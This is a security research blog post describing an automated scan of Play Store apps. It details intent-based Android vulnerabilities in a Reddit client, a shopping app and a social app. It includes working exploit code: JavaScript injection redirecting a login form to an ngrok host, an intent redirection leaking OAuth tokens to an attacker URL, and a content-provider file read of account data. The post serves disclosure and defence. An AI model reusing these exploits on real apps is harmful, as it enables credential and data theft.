Hunting intent-based Android security vulnerabilities with Snyk Code

In our previous blog, we explored the nature of intent-based Android security vulnerabilities. Now we’re going to dive into how we performed our security analysis on apps in the Google Play Store with Snyk Code.

In order to hunt for these types of vulnerabilities, a dataset was created along with an automated pipeline to process it. The top 200 apps in 50 categories were downloaded from the Google Play store resulting in 10K apps uploaded to Google Cloud Storage. The Snyk Code engine was bundled into a Docker container and stored on the Google Container Registry, where it was loaded and executed by our cloud workgroup. As the Snyk Code engine only works on source files, we needed to convert all the APKs into their respective sources. Each app was decompiled, pre-processed and analyzed with our custom built ruleset on-the-fly. The results for each app were aggregated along with their respective metadata and uploaded to Big Query for manual analysis. The processing time of the entire dataset was around 1.5 hours using an instance group of 150 VMs on the Google Cloud Platform, which was pretty impressive.

Logical diagram of the pipeline of Snyk Code for processing huge amounts of APK files.

Key findings

After running the pipeline and analyzing the results, we’ve found some interesting findings worth focusing on. Unfortunately, but understandably, some of the app maintainers asked us not to mention their apps by name in the publication. As a result, some of the code samples are modified to respect their request. We will use the “app” placeholder in such cases.

All code samples brought forth have been generated by decompiling the APKs with jadx. Some of the classes, methods and variable names have been renamed for clarity.

rif is fun for Reddit

This app is a third-party developed mobile interface for intuitively and comfortably browsing reddit.com, which is completely separate from Reddit’s self-developed app. It has over 5 million installs and our analysis found there’s a URL Injection vulnerability in an activity which is exported and allows an attacker to inject arbitrary Javascript code in one of the intent’s parameters: 

The vulnerable code is:

public void onPageFinished(WebView webView, String str) {
   super.onPageFinished(webView, str);
   OAuth2Activity.this.g0(webView);
   this.a = true;
   String stringExtra =   OAuth2Activity.this.getIntent().getStringExtra("...");
   if (TextUtils.isEmpty(stringExtra)) {
       stringExtra = "...";
   }
   webView.loadUrl("javascript:..." + stringExtra + "';})();");

The parameter is read into stringExtra and passed unsanitized directly into the string loaded into the WebView allowing arbitrary Javascript to be executed.

To exploit, one can use the following:

Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setClassName("com.andrewshu.android.reddit", "com.andrewshu.android.reddit...");
String pl = "';" +
"document.getElementById('login_login').action = 'https://b72de7935a19.ngrok.io';" +
";'";
intent.putExtra("com.andrewshu.android.reddit...", pl);
startActivity(intent);

To make the exploit feel more natural, a malicious actor could track whether the app was running in the foreground or not, and then send the intent only if it was. It was possible by calling the getRunningAppProcesses method of the ActivityManager class, but fortunately has changed since API 22 and above. After API 22 the only way to check which application is in the foreground is with the UsageStatsManager which requires a special permission.

Popular shopping application

Our research showed that a popular shopping app with tens of millions of downloads worldwide, had an intent redirection vulnerability that can lead to private data and credential exposure via URL injection by a malicious app installed on the device.

The issue is in the com.shoppingapp.home.Carousel activity that is declared in the manifest file as exported thus available to receive external intents:

<activity android:theme="@style/Theme.ShoppingApp.Base" android:name="com.shoppingapp.home.Carousel" android:exported="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustPan"/>

The vulnerable code is in the handleIntent() method:

if (getCallingActivity() == null || getCallingActivity().getPackageName().equals(getApplicationContext().getPackageName())) { 	
  ... 	
Intent intent2 = (Intent) intent.getParcelableExtra(CarouselIntentFactory.CAROUSEL_NEXT_INTENT); 	intent2.setExtrasClassLoader(getClassLoader()); 	
if (this.carouselNavigationModel.isInlinePageDeepLink) { 	 this.inlineSearchNavigationHelper.get().openSearchResultsInline(this, 0, intent2.getExtras()); 	
} else { 	 
startActivity(intent2); 	
} 	
  ... 
}

The first if condition is meant to check that the calling activity is from within the app. It holds when this activity is launched with the startActivityForResult() method. But if called with startActivity(), getCallingActivity() will return null and the flow will enter the if clause. Setting isInlinePageDeepLink to false will bypass the second check and will launch an activity by calling startActivity on the bundled intent in the CarouselIntentFactory.CAROUSEL_NEXT_INTENT parameter.

Now that an intent can be redirected, it can be leveraged to launch the com.shoppingapp.activity.AppWebView activity:

@Override
public void onCreate(Bundle bundle) {
   super.onCreate(bundle);
   setContentView(R.layout.shoppingapp_webview);
   setupWebView();
}

setupWebview():

private void setupWebView() {
   setCookies();
   if (this.appWebView == null) {
       ...
       List<NameValuePair> initialUrlQueryNameValuePairs = getInitialUrlQueryNameValuePairs();
       Map<String, String> headerNameValuePairs = getHeaderNameValuePairs(this.appActivityNavigationModel.url);
       if (!initialUrlQueryNameValuePairs.isEmpty()) {
           AppWebViewNavigationModel appWebViewNavigationModel = this.appActivityNavigationModel;
           appWebViewNavigationModel.url = getUrlWithAppendedQuery(appWebViewNavigationModel.url, initialUrlQueryNameValuePairs);
       }
       if (!headerNameValuePairs.isEmpty()) {
           this.appWebView.loadUrl(this.appActivityNavigationModel.url, headerNameValuePairs);
       } else {
           this.appWebView.loadUrl(this.appActivityNavigationModel.url);
       }
   }
   this.appWebViewPlaceholder.addView(this.appWebView);
   TestFairy.hideView(this.appWebView);
}

The activity loads the address stored in the url parameter of the intent in a WebView. The activity will append the headers returned from the getHeaderNameValuePairs() method call:

public Map<String, String> getHeaderNameValuePairs(String str) {
   HashMap hashMap = new HashMap();
   if (this.appActivityNavigationModel.url.startsWith("https") && this.loginService.isLoggedIn() && this.webViewUtil.isInFlavorDomain(str)) {
       hashMap.put(WebViewHelper.HEADER_AUTHORIZATION, String.format("OAuth %s", this.loginService.getAccessToken()));
   }
   return hashMap;
}

The URL needs to fulfill three conditions: the user is logged in, it starts with https and isInFlavorDomain returns true. Looking into that method:

   public boolean isInFlavorDomain(String str) {
       String str2;
       if (!Strings.notEmpty(str)) {
           return false;
       }
       Country currentCountry = this.currentCountryManager.getCurrentCountry();
       if (Strings.isEmpty(currentCountry.url)) {
           str2 = this.sharedPreferences.getString(WEBVIEW_BASE_URL, this.stringProvider.getString(R.string.brand_website));
       } else {
	...
       }
       if (str == null || !str.startsWith(str2)) {
           return false;
       }
       return true;
   }
}

The URL must start with https://www.shoppingapp.com as defined in the brand_website parameter declared in strings.xml:

<string name="brand_website">https://www.shoppingapp.com</string>

This check can be bypassed using an opaque url of the form https://www.shoppingapp.com@[ATTACKER_CONTROLLED_URL] leading to exposure of sensitive authorization headers which include the user’s OAuth token as well as their private id and location:

GET /?user_id=b3bb6be0-7c1c-11eb-9679-0242ac120002&consumer_ID=b3bb6be0-7c1c-11eb-9679-0242ac120002&lat=37.422&lng=-122.084 HTTP/1.1
Host: ...
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 11; sdk_gphone_x86_arm Build/RSR1.201013.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36 app-embedded-web-view
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
authorization: OAuth eyJ2ZXJzaW9uIjoxLCJkYXRhIjp7InV1aWQiOiJiM2JiNmJlMC03YzFjLTExZWItOTY3OS0wMjQyYWMxMjAwMDIiLCJtZXRob2RzIjp7InJlZ2lzdHJhdGlvbiI6MTYxNDc3NDgyOH19LCJrZXkiOjEyMjQ3Nywic2lnbmF0dXJlIjoiTUVVQ0lRQ2xFcTBkNG9YeGxzL2kySEZxU0dYRmZlUVhOMk16bk9RR1NVYWdoL3V4a0FJZ1JWQnpWMG04MVRlTldMRkRWbkVBM0MxMkNtS2xSeFd4a1JHcE8rY2tXdVU9In0=  

Combining all the pieces together, the exploit code looks like:

Intent inner = new Intent();
inner.setClassName("com.shoppingapp", "com.shoppingapp.activity.AppWebView");
inner.putExtra("url", "https://www.app.com@[ATTACKER_CONTROLLED_URL]");
inner.putExtra("hideHeader", false);
inner.putExtra("needsLocation", true);

Intent intent = new Intent();
intent.setClassName("com.shoppingapp", "com.shoppingapp.home.Carousel");
intent.putExtra("carousel_next_intent", inner);

startActivity(intent);

Social network application

A social network application used by more than 10 million users was found to be vulnerable to intent redirection. The vulnerability can lead to private data exposure by a malicious app.

The intent redirection vulnerability is in com.social.master.MasterActivity. It receives an intent from redirectActivity extra field and calls startActivity

@Override
public void onCreate(Bundle bundle) {
   Intent intent;
   super.onCreate(bundle);
...		
   if (!this.showLoginActivity && bundle == null && (intent = (Intent) getIntent().getParcelableExtra("redirectActivity")) != null && checkRedirectIntent(intent)) {
       startActivity(intent);
       overridePendingTransition(0, 0);
}

The custom checkRedirectIntent method is called to verify the origin of the redirected intent:

private boolean checkRedirectIntent(Intent intent) {
   return !(getCallingActivity() != null && !PackageUtils.isTrustingPackage(getCallingActivity().getPackageName())) && intent != null && PackageUtils.isTrustingPackage(intent.resolveActivity(getPackageManager()).getPackageName());
}

A closer look into isTrustingPackage reveals that it checks if a string starts with com.social:

public static boolean isTrustingPackage(String str) {
   return str != null && str.startsWith("com.social");
}

Breaking down the conditions gives us:

  1. !(getCallingActivity() != null && !PackageUtils.isTrustingPackage(getCallingActivity().getPackageName())): The current activity is not called from an activity outside the app.
  2. intent != null: The redirected intent is not empty.
  3. PackageUtils.isTrustingPackage(intent.resolveActivity(getPackageManager()).getPackageName()): The redirected intent resolves to an activity within the app.

In order to fulfil these conditions, the attacker must declare their app name to start with com.social in order for the call to isTrusingPackage to return true

The target component to access is the com.social.master.provider content provider with android:grantUriPermissions set to true. Looking into paths.xml we saw:

<root-path name="external_files" path=""/>

Browsing through the Android documentation we noticed that there’s no mention of root-path but it still continues to live in the actual Android source code. It’s defined as the device root dir and all the provider’s paths will be resolved relative to that:

private static final String TAG_ROOT_PATH = "root-path";

private static final File DEVICE_ROOT = new File("/");

	...
	
if (TAG_ROOT_PATH.equals(tag)) {
		target = DEVICE_ROOT;
	} 

      ...
	
if (target != null) {
		strat.addRoot(name, buildPath(target, path));
	}

It means the app can reach any file on the device, so root-path should never be used.

By giving the bundled intent read/write permissions, accessing the provider with the content://com.social.master.provider/ URI allows reading and modifying files on the device (limited to the app’s permissions) including its own sensitive files. As an example, an attacker can exfiltrate the currently logged in account’s data by reading external_files/data/data/com.social.master/shared_prefs/account.xml. Remember, paths.xml maps external_files to / and the activity redirecting the intent grants the attacker’s activity the necessary permissions. 

An attacker can exploit the app with the following code:

// com.social.evil.MainActivity
Intent inner = new Intent(); inner.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); inner.setData(Uri.parse("content://com.social.master.provider/")); inner.setClassName("com.social.evil", "com.social.evil.Target");

Intent intent = new Intent("android.intent.action.VIEW"); intent.setData(Uri.parse("https://social.example.com/foo")); intent.setClassName("com.social.master", "com.social.master.MasterActivity"); 
intent.putExtra("redirectActivity", inner); 
startActivityForResult(intent, 1001);

To read the contents of account.xml:

//com.social.evil.Target
String file = "external_files/data/data/com.social.master/shared_prefs/account.xml"; InputStream is = getContentResolver().openInputStream(Uri.parse(getIntent().getDataString() + file)); 
BufferedReader br = new BufferedReader(new InputStreamReader(is)); 
StringBuilder sb = new StringBuilder(); 
String line; 
while ((line = br.readLine()) != null) { 
sb.append(line); 
}

Up next: Mitigation and remediation recommendations

By now, we’ve covered how intent-based vulnerabilities work and how they can be found in some very popular apps. In our next (and final) post, we’re going to give some mitigation and remediation advice to help keep your code safe. If you’re developing your own apps, we’d encourage you to use Snyk to make sure you haven’t accidentally written any of these vulnerabilities into your own code.

Get started with Snyk Code

Identify vulnerabilities in your code for free with Snyk Code.